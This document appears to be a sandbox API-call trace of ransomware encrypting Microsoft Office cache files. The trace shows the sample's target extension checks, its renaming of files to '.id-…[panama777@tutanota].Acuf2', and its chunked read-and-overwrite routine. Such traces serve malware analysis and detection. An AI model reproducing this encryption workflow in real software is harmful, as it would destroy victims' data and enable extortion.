	[0054.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76
	[0054.726] lstrlenW (lpString=".jpg") returned 4
	[0054.726] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0054.726] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0054.726] lstrlenW (lpString="PrjPrrWW.cab") returned 12
	[0054.726] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0054.726] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=162970271) returned 1
	[0054.726] CloseHandle (hObject=0x1e0) returned 1
	[0054.726] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab")) returned 0x2020
	[0054.727] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0054.727] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0054.729] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0054.730] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0x0) returned 1
	[0054.730] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0054.730] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0054.737] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0054.738] ReadFile (in: hFile=0x1e0, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0054.743] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0054.744] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0054.744] ReadFile (in: hFile=0x1e0, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0054.759] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0054.759] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x38ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffcb0*=0xc0104, lpOverlapped=0x0) returned 1
	[0055.059] SetEndOfFile (hFile=0x1e0) returned 1
	[0055.059] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f337d8
	[0055.063] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0055.063] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f337d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f337d8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0055.064] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0055.064] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f337d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f337d8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0055.067] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0055.067] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f337d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f337d8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0055.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f337d8 | out: hHeap=0x4f0000) returned 1
	[0055.069] CloseHandle (hObject=0x1e0) returned 1
	[0055.070] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0055.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75
	[0055.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75
	[0055.070] lstrlenW (lpString=".doc") returned 4
	[0055.070] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0055.070] lstrlenW (lpString=".docx") returned 5
	[0055.070] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1
	[0055.070] lstrlenW (lpString=".pdf") returned 4
	[0055.070] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0055.070] lstrlenW (lpString=".xls") returned 4
	[0055.070] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0055.070] lstrlenW (lpString=".xlsx") returned 5
	[0055.070] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1
	[0055.070] lstrlenW (lpString=".ppt") returned 4
	[0055.070] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0055.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75
	[0055.070] lstrlenW (lpString=".zip") returned 4
	[0055.070] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0055.070] lstrlenW (lpString=".rar") returned 4
	[0055.071] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0055.071] lstrlenW (lpString=".bz2") returned 4
	[0055.071] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0055.071] lstrlenW (lpString=".7z") returned 3
	[0055.071] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0055.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75
	[0055.071] lstrlenW (lpString=".dbf") returned 4
	[0055.071] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0055.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75
	[0055.071] lstrlenW (lpString=".1cd") returned 4
	[0055.071] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0055.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75
	[0055.071] lstrlenW (lpString=".jpg") returned 4
	[0055.071] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0055.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75
	[0055.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75
	[0055.071] lstrlenW (lpString=".doc") returned 4
	[0055.071] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0055.071] lstrlenW (lpString=".docx") returned 5
	[0055.071] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1
	[0055.071] lstrlenW (lpString=".pdf") returned 4
	[0055.071] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0055.071] lstrlenW (lpString=".xls") returned 4
	[0055.071] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0055.071] lstrlenW (lpString=".xlsx") returned 5
	[0055.071] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1
	[0055.071] lstrlenW (lpString=".ppt") returned 4
	[0055.071] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0055.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75
	[0055.072] lstrlenW (lpString=".zip") returned 4
	[0055.072] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0055.072] lstrlenW (lpString=".rar") returned 4
	[0055.072] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0055.072] lstrlenW (lpString=".bz2") returned 4
	[0055.072] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0055.072] lstrlenW (lpString=".7z") returned 3
	[0055.072] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0055.072] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75
	[0055.072] lstrlenW (lpString=".dbf") returned 4
	[0055.072] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0055.072] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75
	[0055.072] lstrlenW (lpString=".1cd") returned 4
	[0055.072] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0055.072] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75
	[0055.072] lstrlenW (lpString=".jpg") returned 4
	[0055.072] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0055.072] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0055.072] lstrlenW (lpString="Office32WW.msi") returned 14
	[0055.072] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0055.073] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=1992192) returned 1
	[0055.073] CloseHandle (hObject=0x1e0) returned 1
	[0055.073] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020
	[0055.073] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0055.073] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0055.074] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0055.074] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0x0) returned 1
	[0055.074] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0055.074] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0055.078] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0055.078] ReadFile (in: hFile=0x1e0, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0055.081] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0055.082] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0055.082] ReadFile (in: hFile=0x1e0, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0055.097] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0055.097] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x38ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffcb0*=0xc0108, lpOverlapped=0x0) returned 1
	[0055.360] SetEndOfFile (hFile=0x1e0) returned 1
	[0055.360] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f337d8
	[0055.440] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0055.440] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f337d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f337d8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0055.443] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0055.443] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f337d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f337d8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0055.445] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0055.445] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f337d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f337d8*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0055.447] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f337d8 | out: hHeap=0x4f0000) returned 1
	[0055.447] CloseHandle (hObject=0x1e0) returned 1
	[0055.667] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0055.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0055.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0055.707] lstrlenW (lpString=".doc") returned 4
	[0055.707] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0055.707] lstrlenW (lpString=".docx") returned 5
	[0055.707] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1
	[0055.707] lstrlenW (lpString=".pdf") returned 4
	[0055.707] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0055.707] lstrlenW (lpString=".xls") returned 4
	[0055.707] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0055.707] lstrlenW (lpString=".xlsx") returned 5
	[0055.707] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1
	[0055.707] lstrlenW (lpString=".ppt") returned 4
	[0055.707] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0055.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0055.707] lstrlenW (lpString=".zip") returned 4
	[0055.707] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0055.707] lstrlenW (lpString=".rar") returned 4
	[0055.707] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0055.707] lstrlenW (lpString=".bz2") returned 4
	[0055.707] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0055.707] lstrlenW (lpString=".7z") returned 3
	[0055.708] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0055.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0055.708] lstrlenW (lpString=".dbf") returned 4
	[0055.708] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0055.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0055.708] lstrlenW (lpString=".1cd") returned 4
	[0055.708] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0055.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0055.708] lstrlenW (lpString=".jpg") returned 4
	[0055.708] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0055.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0055.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0055.708] lstrlenW (lpString=".doc") returned 4
	[0055.708] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0055.708] lstrlenW (lpString=".docx") returned 5
	[0055.708] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1
	[0055.708] lstrlenW (lpString=".pdf") returned 4
	[0055.708] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0055.708] lstrlenW (lpString=".xls") returned 4
	[0055.708] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0055.708] lstrlenW (lpString=".xlsx") returned 5
	[0055.708] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1
	[0055.708] lstrlenW (lpString=".ppt") returned 4
	[0055.708] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0055.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0055.708] lstrlenW (lpString=".zip") returned 4
	[0055.708] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0055.708] lstrlenW (lpString=".rar") returned 4
	[0055.709] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0055.709] lstrlenW (lpString=".bz2") returned 4
	[0055.709] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0055.709] lstrlenW (lpString=".7z") returned 3
	[0055.709] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0055.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0055.709] lstrlenW (lpString=".dbf") returned 4
	[0055.709] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0055.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0055.709] lstrlenW (lpString=".1cd") returned 4
	[0055.709] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0055.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0055.709] lstrlenW (lpString=".jpg") returned 4
	[0055.709] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0055.709] lstrcmpiW (lpString1=".dll", lpString2=".Acuf2") returned 1
	[0055.709] lstrlenW (lpString="PidGenX.dll") returned 11
	[0055.709] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0055.710] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=1463568) returned 1
	[0055.710] CloseHandle (hObject=0x158) returned 1
	[0055.710] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020
	[0055.710] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0055.710] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0055.710] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0055.710] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0055.710] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0055.711] GetLastError () returned 0x0
	[0055.711] ReadFile (in: hFile=0x158, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x38ffed4*=0xffff0, lpOverlapped=0x0) returned 1
	[0055.740] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x38ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffc9c*=0xffff0, lpOverlapped=0x0) returned 1
	[0055.965] ReadFile (in: hFile=0x158, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x38ffed4*=0x65520, lpOverlapped=0x0) returned 1
	[0055.980] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x38ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffc9c*=0x65530, lpOverlapped=0x0) returned 1
	[0055.990] ReadFile (in: hFile=0x158, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x38ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0055.990] WriteFile (in: hFile=0x1e0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffc9c*=0xea, lpOverlapped=0x0) returned 1
